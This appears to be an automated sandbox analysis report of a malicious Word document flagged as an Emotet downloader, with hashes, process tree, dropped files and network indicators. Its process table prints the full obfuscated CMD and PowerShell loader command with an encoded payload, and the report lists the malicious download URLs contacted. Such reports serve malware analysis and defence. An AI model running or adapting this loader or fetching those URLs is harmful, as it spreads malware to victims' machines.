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| File name: | Verification of Non-filing Letter.doc |
| Full analysis: | https://app.any.run/tasks/c2a9d6fd-fef3-413e-bc1e-e371c05c4cb7 |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | November 15, 2018, 15:01:12 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Alexandra-PC, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Nov 6 11:56:00 2018, Last Saved Time/Date: Tue Nov 6 11:56:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0 |
| MD5: | 77EB5D508D06E8B95A98CEB570AA7F8F |
| SHA1: | A82CA3E0A9C906F3973EADB41F86D1AC9449F4DE |
| SHA256: | AA658CF9A05090D916E3097D2537BC04252CAB539DD72D6325F06CED60CFDF65 |
| SSDEEP: | 768:2eWVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o93jIoF18J8I:2eWocn1kp59gxBK85fBt+a952 |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2928)
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 2928)
SUSPICIOUS
Executes PowerShell scripts
- CMD.exe (PID: 3980)
Creates files in the user directory
- powershell.exe (PID: 2672)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2928)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2928)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | Alexandra-PC |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2018:11:06 11:56:00 |
| ModifyDate: | 2018:11:06 11:56:00 |
| Pages: | 1 |
| Words: | 2 |
| Characters: | 13 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 14 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
35
Monitored processes
3
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2928 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Verification of Non-filing Letter.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
| 3980 | CMD C:\WIndOws\SYStem32\Cmd /c "sET qOuG= .( $SHEllId[1]+$ShelliD[13]+'X') ( neW-ObjECt sYStem.Io.StrEAmReaDER( ( neW-ObjECt IO.comPreSSION.DeflatestReaM([io.meMOrYstReam] [SYstEM.converT]::FRomBase64STrInG( 'PdBRa8IwEMDxr5KHQJSuKe5hD4aC0+FwsDEmug32co3nUm2TmqStVvrdrWXu9f7HD+6osk2ssQ5NskPpyRt6/onJLEtRe0FXz6uYKe+LcRTVdc0dmlGOx1QaLk0eje6rj9nkryflBgp0PszBuQYax1UZvc6/bh0yVToHqZYK7K+CXthN19Pl9z9hT6DrzkDb18MteMhBh6ChAG7LyK4ZXxZZ6gdswoaCNtsDiQl7GDFB31/mMUVdjT3mRcB+WHDNAeN4RCa2xiJINaAqfySpJtcLh2dvT2fafYI/mVpnBjbzNMN+545cwaFY6MrsMVx0aD8RSefsRSvBS3Vu2ws='), [Io.COmPRESSIOn.COmPRessIoNmODE]::dECOMPRESs ) ), [text.EncodINg]::aSCii) ).rEaDTOend()&& POWERShELl ^&('Sv' ) (\"AN\" + \"xh\") ( [TypE](\"{1}{2}{0}\" -f 'nt','enVirONm','e' ) ) ; . ( ([strING]${vE`Rb`OsePRe`FErenCE} )[1,3] + 'x'-jOin'')( ( ( .( \"{0}{1}{2}\"-f 'g','et-vAri','aBlE' ) (\"aN\"+ \"XH\" ) ).\"V`ALUE\"::( \"{2}{0}{1}{4}{3}{6}{5}\" -f 'v','IRO','GeTEN','NTVar','Nme','E','iabL' ).Invoke(( \"{1}{0}\"-f'g','QoU'),( \"{1}{0}{2}\"-f 'Roce','P','sS') ) ))" | C:\Windows\system32\CMD.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2672 | POWERShELl &('Sv' ) (\"AN\" + \"xh\") ( [TypE](\"{1}{2}{0}\" -f 'nt','enVirONm','e' ) ) ; . ( ([strING]${vE`Rb`OsePRe`FErenCE} )[1,3] + 'x'-jOin'')( ( ( .( \"{0}{1}{2}\"-f 'g','et-vAri','aBlE' ) (\"aN\"+ \"XH\" ) ).\"V`ALUE\"::( \"{2}{0}{1}{4}{3}{6}{5}\" -f 'v','IRO','GeTEN','NTVar','Nme','E','iabL' ).Invoke(( \"{1}{0}\"-f'g','QoU'),( \"{1}{0}{2}\"-f 'Roce','P','sS') ) )) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | CMD.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 515
Read events
1 092
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
4
Text files
1
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2928 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR89E5.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2672 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OLZBRHG67VLVFFZ212Z4.temp | — | |
MD5:— | SHA256:— | |||
| 2928 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~WRD0000.tmp | — | |
MD5:— | SHA256:— | |||
| 2928 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF466B42BCF75B6E6C.TMP | — | |
MD5:— | SHA256:— | |||
| 2928 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFB56E2C0180EBBF63.TMP | — | |
MD5:— | SHA256:— | |||
| 2928 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{193EC222-C7CD-46E4-9DD5-6FD89D1F7491}.tmp | — | |
MD5:— | SHA256:— | |||
| 2928 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF829A9EDCA441B2AC.TMP | — | |
MD5:— | SHA256:— | |||
| 2928 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{1A806A50-253B-47D3-9214-724458C84156}.tmp | — | |
MD5:— | SHA256:— | |||
| 2928 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{3EAFDE96-0247-490E-9C55-01F1C033D126}.tmp | — | |
MD5:— | SHA256:— | |||
| 2928 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:8197E4B21BAD7A64AD5E2F3A59BF840A | SHA256:9524CE75C7F5EA8554E2992A028F6D0322234CCB937CB8EB6C21551F9E8FAD64 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
5
DNS requests
5
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2672 | powershell.exe | GET | 500 | 197.221.17.218:80 | http://bryanwester.com/q | ZA | — | — | malicious |
2672 | powershell.exe | GET | 404 | 185.6.139.29:80 | http://budapest-masszazs.hu/MFX | HU | html | 18.6 Kb | malicious |
2672 | powershell.exe | GET | 503 | 92.53.114.170:80 | http://taman-anapa.ru/rV | RU | html | 213 b | malicious |
2672 | powershell.exe | GET | 404 | 45.63.31.206:80 | http://alhussainchargha.com/jBVBSY | AU | html | 634 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2672 | powershell.exe | 185.6.139.29:80 | budapest-masszazs.hu | Szervernet Ltd | HU | malicious |
2672 | powershell.exe | 45.63.31.206:80 | alhussainchargha.com | Choopa, LLC | AU | malicious |
2672 | powershell.exe | 197.221.17.218:80 | bryanwester.com | HETZNER | ZA | malicious |
2672 | powershell.exe | 92.53.114.170:80 | taman-anapa.ru | TimeWeb Ltd. | RU | malicious |
2672 | powershell.exe | 143.95.32.250:80 | www.seo1mexico.com | Colo4, LLC | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.seo1mexico.com |
| malicious |
budapest-masszazs.hu |
| malicious |
alhussainchargha.com |
| malicious |
bryanwester.com |
| malicious |
taman-anapa.ru |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2672 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader |
2672 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader |
2672 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader |
2672 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader |